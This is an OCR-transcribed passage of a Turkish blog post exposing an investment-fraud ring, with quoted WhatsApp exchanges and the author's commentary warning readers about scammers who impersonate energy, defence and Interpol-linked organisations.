https://tr.wikipedia.org/wiki/Vekil_sunucu

o .-

< 3 -;‘f'-;f;_ +90 548 822 66 82

Today

Gunaydinlar hayirli haftalar Osman bey.

Demir bey yillik izinde. Sistem uzman
olarak beni atamis sizlere musait
oldugunuzda aramak isterim.

Acikcasi onlar tembih etmigler baskasi ile
konugsmamam i¢in 0 nedenle onlari
beklemek isterim. 8:02 AM &/

Efendim yanlislk olmasin benim
danismanim onlar ayni kuruma hizmet
vermekteyiz. Aradigimda gorebilirsiniz
ayni numara ile arama
gerceklestiriyorum zaten. 100 adet
danismaniz mevcut.

Missed voice call

Acikasi o zaman ufak bir problem
yasamistim ve kesinlikle Derin Hanim
kaynakli degildi fakat yine de baskasi ile
gorismemem gerektigini paylagmist
guvenligim icin. Yazigmamimizin bir
kismini paylagiyorum isterseniz Demir Bey
ile olani da paylagabnlrlm

8:54 AM
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Bir onceki dolandiricilik girisiminin bas aktdrlerinden Derin veya Demir‘in
hala gorevlerinin basinda olup olmadiklarini da bir yandan merak ettigim icin
bu dolandiriciya Derin veya Demir’den baska kimseyle gorismeyecegimi israrla
dile getirdikten sonra dolandirici 1srarlarima yenik dusup Derin’e ulasmaya
ve bana yonlendirmeye karar verdi. Bu sayede dolandiricilarin son 3 aydir

operasyonlarina ayni kadro ile hiz kesmeden devam ettigini 6grenmis oldum.
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Yok yok efendim o problem degil
guvenliginiz i¢in bu tarz onlemler aliyoruz.
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Siz daha once baska yerde dolandiricilik
gibi bir durumlami karsi karsiya
kalmissiniz galiba ondan kaynakli boyle
bir 6nlem alinmis anladigim kadariyla.

8:56 AM

Derin hanimi artyorum ama son 1 saattir
hatta o yuzden net konugsamadim
kendisiyle.

evet kendisi ile bir gorugun lutfen tekrar
problem yasamak istemiyorum. g.coau

sizi tanimiyorum ¢Unku 55641

Uzun zamandir islemler Acik Oldugu igin
Bana Aktarilmig Ulasim Saglanicak sizlere

9:09 AM

You

evet kendisi ile bir gorusun lutfen tekrar problem
yasamak istemiyorum.

Gerekli birime bilgi saglandi Derin hanim
ulasim saglayacak sizlere.
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Aradilarmi sizleri Osman Bey
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Sonuc¢ itibariyle bu glvenlik arastirmasi ile Slovnaft, INA d.d, Bosphorus Gaz
gibi petrol rafineri, gaz dagitim sirketlerinden, Baykar gibi savunma
sirketlerine hatta Interpol‘e kadar onde gelen kurumlarin adini kullanarak
dolandiricilik girisiminde bulunan uluslararasi dolandiricilik cetesinin arka
planda kurbanlarini nasil aglarina disurdiklerini 6grenmis oldum. Umuyorum ki
masum vatandaslarin paralarina g6z diken bu dolandiricilar en kisa slrede

yakalanir ve hak ettikleri cezayi alirlar.

Yazinin basinda da belirttigim uUzere c¢ok iyi kurgulanmis bu organize
dolandiricilik carkina daha fazla masum insanin dismemesi, kurban olmamasi
adina bu yaziyi cevrenizdekilerle ve tum sevdiklerinizle paylasmanizi

gonulden rica ederim.

Bu yazi vesilesiyle de yeni yilinizi kutlar, 2025 yilinin hem sizlere hem de

tiim sevdiklerinize 6nce saglik sonra mutluluk ve basari getirmesini dilerim.


https://en.wikipedia.org/wiki/Slovnaft
https://en.wikipedia.org/wiki/INA_d.d.
https://en.wikipedia.org/wiki/Bosphorus_Gaz_Corporation
https://tr.wikipedia.org/wiki/Baykar_Teknoloji
https://www.interpol.int/

